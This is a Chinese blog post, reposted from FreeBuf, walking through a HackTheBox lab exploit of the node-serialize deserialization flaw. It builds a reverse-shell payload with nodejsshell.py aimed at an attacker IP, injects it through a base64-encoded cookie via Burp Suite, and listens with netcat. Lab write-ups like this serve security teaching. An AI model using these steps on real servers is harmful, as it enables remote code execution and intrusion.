Nodejs反序列化漏洞利用

Posted 合天智汇

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Nodejs反序列化漏洞利用相关的知识,希望对你有一定的参考价值。

演示环境

目标机- Hackthebox节点机(10.10.10.85:3000)

攻击者机器- Kali linux

需要的工具- nodejs, npm, [nodejs工具包],node-serialize

关于反序列化攻击

不受信任的数据被传递到unserialize()函数,这导致我们可以绕过javascript对象的函数表达式IIFE来实现任意的代码执行。首先我们在apt-get命令下安装nodejs包,如下所示:apt-get install nodejs 
Nodejs反序列化漏洞利用在下一步中,您需要在CURL命令下安装npm程序(使用npm 进一步安装node-serialize包),如下所示:curl -Lhttps://www.npmjs.com/install.sh | sh 
Nodejs反序列化漏洞利用安装和配置完Nodejs和Npm之后,还要安装node-serialize包,输入“ npm install node-serialize ”,如下所示: 
Nodejs反序列化漏洞利用我们已经与HacktheBox服务器连接,其服务器的IP为10.10.10.85:3000(运行Nodejs Express Framework,您可以使用Nmap Scanning进一步确认) 。 
Nodejs反序列化漏洞利用第一步,我们使用Burp Suite捕获上述Nodejs的GET请求,如下所示: 
Nodejs反序列化漏洞利用第二步中,选择cookie值并将其发送到Decoder选项进行进一步解密。Nodejs反序列化漏洞利用这个漏洞在于,它从HTTP请求中读取一个名为profilecookie值,并对cookie值进行base64解码,并将其传递给unserialize()函数。所以攻击者可以构建恶意cookie值来利用这个漏洞。 
Nodejs反序列化漏洞利用第三步,您需要下载Ajin Abraham开发的Nodejs Security Toolkit工具,要安装Nodejs Security Toolkit,请在终端中键入以下命令。git clone https://github.com/ajinabraham/Node.Js-Security-Course.gitNodejs反序列化漏洞利用要创建一个反向shell,首先,您需要输入“ ifconfig ”`` 找出IP ,然后运行以下命令:python nodejsshell.py 10.10.14.145 4443`Nodejs反序列化漏洞利用这是最后反向shell payload的输出。Nodejs反序列化漏洞利用现在让我们使用以下javascript生成序列化的payload

代码如下

var y = {
rce : function() {}
}var serialize = require(‘node-serialize’);console.log(“Serialized: 
” + serialize.serialize(y));

Nodejs反序列化漏洞利用用大括号{    eval(String.from .........   })添加上面的payload输出,如下所示: 
Nodejs反序列化漏洞利用将文件另存为exploit.js并使用node命令运行,该命令生成最终的序列化payload,如下所示:node exploit.js 
Nodejs反序列化漏洞利用现在回到BurpSuite,导航到Decoder选项卡,将上面的输出代码粘贴到Textarea中,解码之前,在函数体后添加IIFE方括号(),在这里,我们需要Base64的编码,然后在Cookie头值中使用编码的payload向web服务器发出请求。 
Nodejs反序列化漏洞利用然后使用Repeater发送相同的请求。 
Nodejs反序列化漏洞利用在Repeater选项中,您需要将cookie值替换为我们从上面步骤生成的base64编码值,然后单击GO按钮。 
Nodejs反序列化漏洞利用同时,确保你的netcat服务在相同的端口上监听,例如4443(它的反向shell负载端口是相同的)nc -lvp 4443 。 
Nodejs反序列化漏洞利用一旦你单击Go按钮,请求将命中到服务器,显示200 OK响应,并显示一条错误消息“ 发生错误...无效的用户名类型 ”,并立即在netcat终端中与该服务器连接,状态为“ 已连接” “。 
Nodejs反序列化漏洞利用

参考文献

https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

https://github.com/ajinabraham/Node.Js-Security-Course 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5954 

https://blog.websecurify.com/2017/02/hacking-node-serialize.html 

https://github.com/commenthol/serialize-to-js/issues/1

https://packetstormsecurity.com/files/141002/Exploiting-Node.js-Deserialization-Bug-For-Remote-Code-Execution.html        

https://vulners.com/myhack58/MYHACK58:62201783324https://hd7exploit.wordpress.com/2017/05/29/exploiting-node-js-deserialization-bug-for-remote-code-execution-cve-2017-5941/ 

https://github.com/luin/serializehttp://dptech.com/en/research_gg_info.php?2648

http://www.reverse-edge.com/mt/know-how/2017/02/entry.html 

https://www.alibabacloud.com/help/faq-detail/50422.htm

http://malwrforensics.com/en/2018/03/17/extreme-vulnerable-node-application-xvna-insecure-nodejs-deserialization/ 

https://blog.appsecco.com/nodejs-and-a-simple-rce-exploit-d79001837cc6

https://www.hacksparrow.com/difference-between-spawn-and-exec-of-node-js-child_process.html

http://benalman.com/news/2010/11/immediately-invoked-function-expression/

https://opsecx.com/index.php/product/node-js-security-pentesting-and-exploitation/

*本文转自FreeBuf.COM


别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com 或 qq:3200599554

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击


以上是关于Nodejs反序列化漏洞利用的主要内容,如果未能解决你的问题,请参考以下文章

利用 Node.js 反序列化漏洞远程执行代码

反序列化漏洞屡被黑客利用,危害巨大,代码怎样写才安全?

Java反序列化漏洞通用利用分析

深入理解JNDI注入与Java反序列化漏洞利用

JAVA代码审计之Shiro反序列化漏洞分析

深入理解PHP Phar反序列化漏洞原理及利用方法